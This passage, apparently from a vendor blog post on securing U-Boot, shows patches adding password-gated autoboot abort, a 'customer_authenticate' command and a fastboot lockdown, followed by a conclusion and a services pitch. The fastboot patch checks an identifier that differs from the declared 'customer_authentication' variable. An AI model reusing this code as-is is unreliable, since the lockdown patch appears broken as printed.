     printf(CONFIG_AUTOBOOT_PROMPT, bootdelay);
 #  endif
-
-    if (IS_ENABLED(CONFIG_AUTOBOOT_ENCRYPTION))
-        abort = passwd_abort_sha256(etime);
+    if (imx_hab_is_enabled() && IS_ENABLED(CONFIG_AUTOBOOT_ENCRYPTION))
+        abort = passwd_abort_sha256(etime, NULL);
     else
         abort = passwd_abort_key(etime);
     if (!abort)

And finally, we can add in the customer_authenticate command via this patch:

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Mon, 20 Sep 2021 15:56:23 -0400
Subject: [PATCH] Add in customer_authenticate

---
 cmd/Makefile                      | ...
 cmd/customer.c                    | ...
 include/u-boot/sha256.h           | ...

diff --git a/cmd/Makefile b/cmd/Makefile
index 7c62e3becf..9a2836d8fb 100644
--- a/cmd/Makefile
+++ b/cmd/Makefile
@@ -155,6 +155,10 @@
 obj-$(CONFIG_CMD_FASTBOOT) += fastboot.o
 obj-$(CONFIG_CMD_FS_UUID) += fs_uuid.o
 
 obj-$(CONFIG_CMD_USB_MASS_STORAGE) += usb_mass_storage.o
+
+# Customer - Customer Custom Commands
+obj-y += customer.o
+
 obj-$(CONFIG_CMD_USB_SDP) += usb_gadget_sdp.o
 obj-$(CONFIG_CMD_THOR_DOWNLOAD) += thordown.o
 obj-$(CONFIG_CMD_XIMG) += ximg.o
diff --git a/cmd/customer.c b/cmd/customer.c
new file mode 100644
index 0000000000..d02e0bd4ae
--- /dev/null
+++ b/cmd/customer.c
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2000-2009
+ * Wolfgang Denk, DENX Software Engineering, wd@denx.de.
+ *
+ * SPDX-License-Identifier:    GPL-2.0+
+ */
+
+#include <common.h>
+#include <command.h>
+#include <u-boot/sha256.h>
+
+uint8_t customer_authentication = 0;
+
+static int do_customer_authenticate(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
+{
+    if (argc > 1){
+        passwd_abort_sha256_string(argv[1]);
+        if(customer_authentication){
+            printf("Customer: Authentication Successful\r\n");
+        }else{
+            printf("Customer: Authentication Failed\r\n");
+        }
+    }
+    return 0;
+}
+
+U_BOOT_CMD(
+    customer_authenticate,    2,    1,    do_customer_authenticate,
+    "Command Authentication for Customer",
+    ""
+);

diff --git a/include/u-boot/sha256.h b/include/u-boot/sha256.h
index 6fbf542f67..6ae12193dc 100644
--- a/include/u-boot/sha256.h
+++ b/include/u-boot/sha256.h
@@ -5,6 +5,7 @@
 #define SHA256_DER_LEN    19
 
 extern const uint8_t sha256_der_prefix[];
+extern uint8_t customer_authentication;
 
 /* Reset watchdog each time we process this many bytes */
 #define CHUNKSZ_SHA256    (64 * 1024)
@@ -25,4 +26,7 @@ void sha256_csum_wd(const unsigned char *input, unsigned int ilen,
 void sha256_hmac(const unsigned char *key, int keylen,
         const unsigned char *input, unsigned int ilen,
         unsigned char *output);
+
+extern int passwd_abort_sha256_string(char * password);
+
 #endif /* _SHA256_H */

On this particular board, fastboot was left enabled as well. So, we’ll want to further lock down fastboot by incorporating our customer_authenticate mechanism:

From: Nathan Barrett-Morrison <nathan.morrison@timesys.com>
Date: Mon, 20 Sep 2021 16:27:05 -0400
Subject: [PATCH] Lockdown fastboot commands as well

---
 drivers/fastboot/fb_command.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/drivers/fastboot/fb_command.c b/drivers/fastboot/fb_command.c
index 3c4acfecf6..1fdb7544c0 100644
--- a/drivers/fastboot/fb_command.c
+++ b/drivers/fastboot/fb_command.c
@@ -108,6 +108,15 @@ int fastboot_handle_command(char *cmd_string, char *response)
 
     for (i = 0; i < FASTBOOT_COMMAND_COUNT; i++) {
         if (!strcmp(commands[i].command, cmd_string)) {
+
+            //If not authenticated, this disables all commands except UCmd.
+            //UCmd must remain available to allow for "ucmd customer_authenticate <password>" authentication
+            if(customer_authenticate != 1){
+                if(strcasecmp(commands[i].command, "UCmd:") != 0){
+                    break;
+                }
+            }
+
             if (commands[i].dispatch) {
                 commands[i].dispatch(cmd_parameter,
                             response);

Conclusion

I hope this post was a helpful tool for getting you started with securing your embedded U-Boot implementations. Security is a constant battle, and some of these suggestions and guidelines will most definitely morph and evolve as U-Boot development continues in the open source world. Nevertheless, this post should provide a good foundation for hardening many different versions of U-Boot. If you find a version of U-Boot in which some of these suggestions appear to be not applicable, feel free to ask us where they’ve gone.

 

Help!

As always, we offer professional engineering services to help you with your project. Whether you wish for us to integrate our security feature implementation, called VigiShield, into your project or just need another set of hands to help with general embedded software engineering and security, we’re available to help!